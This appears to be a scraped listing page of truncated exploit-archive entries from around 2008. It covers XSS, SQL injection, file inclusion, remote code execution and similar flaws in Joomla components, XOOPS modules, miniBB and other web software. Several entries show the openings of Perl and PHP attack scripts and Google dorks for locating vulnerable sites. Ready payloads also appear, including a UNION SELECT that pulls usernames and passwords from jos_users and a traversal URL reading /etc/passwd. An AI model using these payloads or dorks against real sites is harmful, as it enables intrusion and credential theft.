miniBB 2.2 - 'bb_admin.php' Cross-Site Scripting Vulnerability

miniBB 2.2 'bbadmin.php' Cross-Site Scripting Vulnerability. Webapps exploit for php platform source: http://www.securityfocus.com/bid/28957/info miniBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue ...

Joomla Component paxxgallery 0.2 (gid) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use strict; use LWP::Simple; print "-+-- Joomla Component PaxxGallery Blind SQL Injection Exploit gid --+-\n"; print "-+-- "more than 1 row" --+-\n"; print "-+-- --+-\n"; print "-+-- Author: ZAMUT --+-\n"; print "-+-- Vuln: gid= --+-\n"; print...

kubelance-lfi.txt

$ Script : Kubelance All Versions Local File Inclusion Vulnerabilities $ Script Info : http://demos.kubelabs.com/kubelance/ $ Download : http://rapidshare.com/files/108095194/Kubelance.v1.6.4.PHP.NULL-DGT.rar.html $ Author : CrackersChild $ Contact : [email protected] $ Note : Erbabi ile...

OpenInvoice 0.9 Arbitrary Change User Password Exploit

Exploit for unknown platform in category web applications ====================================================== OpenInvoice 0.9 Arbitrary Change User Password Exploit ====================================================== !/usr/bin/perl OpenInvoice 0.9 Arbitrary Change User Password Exploit...

bosnews40-direct.txt

-------------------------------------------------------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo ---------------------------------------------------------...

KwsPHP (Upload) Remote Code Execution Exploit

?php / ---KwsPHP All Version / Remote Code Execution--- Faille Discovered By TsukasaGenesis && Ajax Sploit Coded By Ajax Site: http://www.r57shell.in / if$argc9 print "---KwsPHP All Version / Remote Code Execution---nn"; print "usage: kwsphpsploit.php -url url -login login -pass pass -email email...

Immunity Canvas: DRAGOON_INCLUDE

Name| dragooninclude ---|--- CVE| CVE-2008-1773 Exploit Pack| CANVAS Description| Dragoon 0.1 Remote File Include Notes| CVE Name: CVE-2008-1773 VENDOR: Dragoon Repeatability: Infinite References: http://securityreason.com/exploitalert/3697 CVE Url: https://vulners.com/cve/CVE-2008-1773 CVSS: 6.8...

Cezanne 6.5.17 - home.asp?CFTARGET Cross-Site Scripting

Cezanne 6.5.17 - home.asp?CFTARGET Cross-Site Scripting source: https://www.securityfocus.com/bid/28772/info Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. Authenticated attackers may leverage these issues to...

kq-admin.txt

!/usr/bin/perl use strict; use LWP::UserAgent; print "-+------------------------------------------+-\n"; print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n"; print "-+------------------------------------------+-\n"; print "-+- Discovered && Coded By t0pP8uzz -+-\n"; print "-+- This Exploit...

FLABER <= 1.1 RC1 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ================================================== FLABER " . $FILENAME . " Incorrect parameter targetfile."; 18. exit; 19. 20. 21. 22. $targetfile = "../" . $targetfile; 23. 24. // if it is a file 25. if isfile $targetfile 26. 27. if...

vbe6-dos.txt

Stack overflow in vbe6.dll, used by all versions of MS Office The overflow occurs in Visual Basic for Application. Creating a property with a long name about 247 chars results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address. Probably impossib...

hiswebshop-traverse.txt

HIS-Webshop is a shopping-system written in Perl by www.shoppark.de The script doesn´t check the "t"-parameter. Example: http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00...

joomlad3000-sql.txt

Powered by Download 3000 AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : "Powered by Download 3000" DORK 2 : allinurl: "comd3000" EXPLOiT :...

joomladatso-sql.txt

Cr@zyKing [email protected] / hackshow.us Joomla Component comdatsogallery remote SQL Injection Version : v1.3.1 index.php?option=comdatsogallery&func=detail&id='Sql Sql : union+select+1,2,3,4,concatws0x3a,id,username,password,6,7,8,9,0,1,2,3,4,5+from+josusers/ ++++++++++++++++++++++++Güç...

HTTP File Upload ActiveX (UUploaderSvrD.dll) File Deletion Exploit

No description provided by source. HTML !-- - Univeral HTTP File Upload UUploaderSvrD.dll - v6.0.0.35 Remote File Deletetion Exploit - Author: t0pP8uZz Homepage: h4ck-y0u.org / milw0rm.com Description: ActiveX Remote File Deletetion Report: Tested on Microsoft Windows XP Pro SP2 Internet Explorer...

exv2eblog-sql.txt

Powered by eXV2 eblog 1.2 SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAİL : [email protected] DORKS 1 : allinurl :"modules/eblog" DORK 2 : allinurl :"exoops/modules/eblog" EXPLOIT :...

xoopsegal-sql.txt

XOOPS Module MyeGallery 3.04 download=http://webscripts.softpedia.com/script/Modules/Other-Modules/My-eGallery-dev-8113.html AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAİL : [email protected] DORKS 1 : allinurl :"modules/myegallery" EXPLOIT :...

Joomla! Component ProductShowcase 1.5 - SQL Injection

Joomla Component comproductshowcase SQL Injection AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 HOME : http://securityreason.com/search/101/c0BidW4=/1/0 MAÄ°L : [email protected] DORKS 1 : allinurl :"comproductshowcase" EXPLOIT :...

Specimen Image Database - 'taxonservice.php?dir' Remote File Inclusion

source: https://www.securityfocus.com/bid/28142/info SID Specimen Image Database is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the underlying...

Google Android Web Browser - .GIF File Heap Buffer Overflow

Google Android Web Browser - .GIF File Heap Buffer Overflow source: https://www.securityfocus.com/bid/28005/info Android Web Browser is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized...